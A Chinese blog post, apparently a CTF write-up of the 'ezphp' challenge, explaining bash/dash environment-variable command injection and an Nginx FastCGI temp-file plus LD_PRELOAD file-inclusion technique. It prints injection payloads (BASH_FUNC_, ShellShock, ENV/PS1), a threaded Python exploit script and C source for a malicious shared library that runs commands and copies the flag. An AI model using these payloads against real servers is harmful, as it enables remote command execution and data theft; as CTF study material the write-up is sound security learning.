HacKerQWQ的博客空间

(p神)环境变量命令执行及nginx机制的LFI利用

Word count: 1.2kReading time: 5 min
2022/06/18 Share

起因

这篇文章是在遇到ezphp这道题目的情况下,作为老年人来学习一下现在的新技术。

题目如下:

1
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

乍一看可以设置环境变量,联想到后面的echo,想到能不能通过环境变量替换掉echo这个命令,但是思路戛然而止,没有这方面的知识储备,于是看wp进行学习。

本文包含两部分内容

  • p神文章介绍的环境变量造成命令执行
  • nginx的缓存文件机制与LD_PRELOAD结合的LFI新姿势

环境变量命令执行

第一部分对p神的文章进行总结,以及思路整理。

文章地址:https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html#_1

环境变量命令执行

新知识

  • 对于sh,CentOS中指向bash,而debian系指向dash

  • CentOS中CentOS7对应版本为bash4.2,CentOS对应版本为bash4.4

  • glibc包含常见的系统API如openreadwritemallocprintfgetaddrinfodlopenpthread_createcryptloginexit

    The GNU C Library project provides the core libraries for the GNU system and GNU/Linux systems, as well as many other systems that use Linux as the kernel. These libraries provide critical APIs including ISO C11, POSIX.1-2008, BSD, OS-specific APIs and more. These APIs include such foundational facilities as open, read, write, malloc, printf, getaddrinfo, dlopen, pthread_create, crypt, login, exit and more.

  • PROMPT_COMMAND后门

对于Ubuntu,有如下方法进行环境变量的命令执行

1
2
3
1.ENV='$(id 1>&2)' dash -i -c 'echo hello',

2.PS1='$(id)' dash

对于bash,有如下方法:

1
2
3
4
5
Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id;

Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"

Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
  • bash换成sh也可以

Nginx机制与LD_PRELOAD

hxp CTF 2021 - A New Novel LFI中介绍了Nginx的机制。

  • 当 Nginx 接收来自 FastCGI 的响应时,若大小超过限定值32KB左右不适合以内存的形式来存储的时候,一部分就会以临时文件的方式保存到磁盘上,路径为/var/lib/nginx/fastcgi
  • 如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/ 目录下,但是如果这个文件在没有被关闭的情况下就被删除了,就会停留在这个目录。
  • Nginx 会有很多 Worker 进程,但是一般来说 Worker 数量不会超过 cpu 核心数量,我们可以通过 /proc/cpuinfo 中的 processor 个数得到 cpu 数量,一般来说是8个worker实际本地测试 fd 序号一般不超过 70 ,即使爆破也只是 8*70。

当面对陌生的程序或者cms时,最好的办法就是搭建一个一样的,然后看看什么情况。作者就是搭建了一个nginx来找特征。

解决题目

面对ezphp这道题,总结起来整个过程就是:

  • 让后端 php 请求一个过大的文件,这里的文件就是我们的LD_PRELOAD利用的so文件
  • Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
  • 虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
  • 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI

唯独你没懂的wp脚本用的下面这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import  threading, requests
URL2 = f'http://192.168.56.5:7005/index.php'
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
done = False


def uploader():
print('[+] starting uploader')
with open("exp.so","rb") as f:
data1 = f.read()+b'0'*1024*1000
#print(data1)
while not done:
requests.get(URL2, data=data1)
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()

def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
try:
requests.get(URL2, params={
'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"
})
except:
pass


for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()

搭配exp.c编译成so

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
system("cat /flag > /var/www/html/flag");

编译

1
gcc -shared -fPIC exp.c -o exp.so
  • data1 = f.read()+b'0'*1024*1000添加了脏字符
  • __attribute__ ((__constructor__))使得当前so文件作为共享库被调用时,在main函数之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它。
  • 使用threading多线程,提高效率

参考文章

  1. https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html#_1
  2. https://blog.csdn.net/RABCDXB/article/details/123790012
  3. https://blog.csdn.net/qq_51295677/article/details/124338635
  4. http://www.manongjc.com/detail/29-huoeehpskdljxqy.html
CATALOG
  1. 1. 起因
  2. 2. 环境变量命令执行
    1. 2.1. 新知识
  3. 3. Nginx机制与LD_PRELOAD
  4. 4. 解决题目
  5. 5. 参考文章